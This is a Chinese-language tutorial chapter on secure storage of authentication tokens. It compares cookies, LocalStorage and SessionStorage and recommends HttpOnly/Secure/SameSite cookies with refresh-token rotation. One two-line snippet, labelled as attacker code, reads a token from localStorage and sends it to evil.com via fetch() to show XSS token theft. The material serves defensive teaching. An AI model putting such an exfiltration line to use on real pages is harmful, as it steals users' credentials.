4、令牌存储安全:前端存储方案对比
令牌存哪儿?这个问题,我几乎在每个项目里都会被问到。说实话,选错了存储位置,后面所有防护手段都可能白搭。今天咱们就把前端三种存储方案掰开揉碎,再聊聊后端怎么存,最后给出一套我实战中沉淀下来的最佳实践。
4.1 前端存储三兄弟:Cookie、LocalStorage、SessionStorage
先看一张对比图,心里有个底。
4.2 Cookie:老牌选手,但别用错
Cookie 是浏览器最古老的存储机制。我个人的习惯是:只要涉及令牌,优先考虑 Cookie。为什么?因为它有 HttpOnly 这个杀手锏。
核心优势:HttpOnly 标记的 Cookie 无法被 JavaScript 读取。这意味着即使页面被注入了 XSS 脚本,攻击者也拿不走你的令牌。
但 Cookie 也有坑。我记得有一次排查线上问题,发现用户登录后频繁掉线。查了半天,原来是 Cookie 的 SameSite 属性没配好,跨域请求时浏览器直接不给带 Cookie 了。
配置一个安全的 Cookie,至少要做到这几点:
Set-Cookie: access_token=eyJhbGciOiJIUzI1NiIs...;
HttpOnly;
Secure;
SameSite=Strict;
Path=/api;
Max-Age=3600
每个属性什么意思?我拆开说:
- HttpOnly:JS 拿不到,XSS 直接废掉一半
- Secure:只在 HTTPS 下发送,防止中间人偷听
- SameSite=Strict:完全阻止跨站请求携带 Cookie,CSRF 基本没戏
- Path=/api:限制作用域,别让 Cookie 满天飞
- Max-Age:设置过期时间,别让令牌永不过期
注意:Cookie 大小限制只有 4KB。JWT 令牌如果塞太多 claims,很容易超限。我建议令牌里只放必要信息,比如用户 ID 和过期时间,其他信息走数据库查询。
4.3 LocalStorage:方便但危险
LocalStorage 用起来确实爽。一行代码就能存,5MB 空间随便用。但我要说句实话:别拿它存令牌。
为什么?因为 LocalStorage 完全暴露在 JavaScript 下。你想想看,只要有一个 XSS 漏洞,攻击者就能直接:
// 攻击者代码
const token = localStorage.getItem('access_token');
fetch('https://evil.com/steal?token=' + token);
我曾经审计过一个项目,他们把用户令牌、刷新令牌、甚至支付密码都塞进 LocalStorage。我问开发同学为什么这么干,他说「方便」。嗯,方便是方便了,但安全呢?
我的建议:LocalStorage 适合存非敏感数据,比如用户偏好设置、主题颜色、上次浏览位置。令牌?想都别想。
4.4 SessionStorage:标签页级隔离
SessionStorage 和 LocalStorage 几乎一样,唯一的区别是:标签页关闭就清除。这听起来好像更安全?其实不然。
它同样没有 HttpOnly 保护,同样能被 XSS 窃取。而且还有个麻烦事:用户打开新标签页,令牌就丢了。用户体验很差。
我见过有人用它存短期令牌,比如 OAuth 流程中的临时 code。这个场景倒还行,毕竟用完就丢。但作为主力令牌存储?不推荐。
4.5 后端存储方案
前端存令牌只是权宜之计。真正靠谱的方案,是后端存储 + 会话管理。
| 方案 | 原理 | 优点 | 缺点 |
|---|---|---|---|
| 服务端 Session | 令牌存 Redis/DB,前端只存 Session ID | 可主动吊销,安全性高 | 需要服务端状态,扩展性略差 |
| JWT + 黑名单 | JWT 无状态,但维护一个黑名单 | 无状态,性能好 | 黑名单需要额外存储 |
| 刷新令牌轮换 | 每次刷新都换新令牌,旧令牌作废 | 令牌泄露影响范围小 | 实现复杂度高 |
我个人比较推荐「刷新令牌轮换 + 服务端黑名单」的组合。前端用 Cookie 存短期访问令牌,后端用 Redis 存刷新令牌。这样即使访问令牌泄露,攻击者也拿不到新的令牌。
4.6 安全存储最佳实践
说了这么多,总结几条我实战中沉淀下来的铁律:
- 前端只存短期令牌,过期时间不超过 15 分钟
- 使用 Cookie + HttpOnly + Secure + SameSite,别碰 LocalStorage
- 后端维护刷新令牌,支持主动吊销
- 令牌不要硬编码,别写在代码里或配置文件中
- 定期轮换密钥,签名密钥至少每 90 天换一次
- 监控异常使用,比如同一个令牌在不同 IP 同时出现
一句话总结:令牌存储没有银弹。Cookie 防 XSS,后端存储防泄露,轮换机制防重放。三层叠加,才能构建真正的安全防线。
嗯,这一章就到这里。记住:存储选对了,安全就赢了一半。剩下的,咱们后面慢慢聊。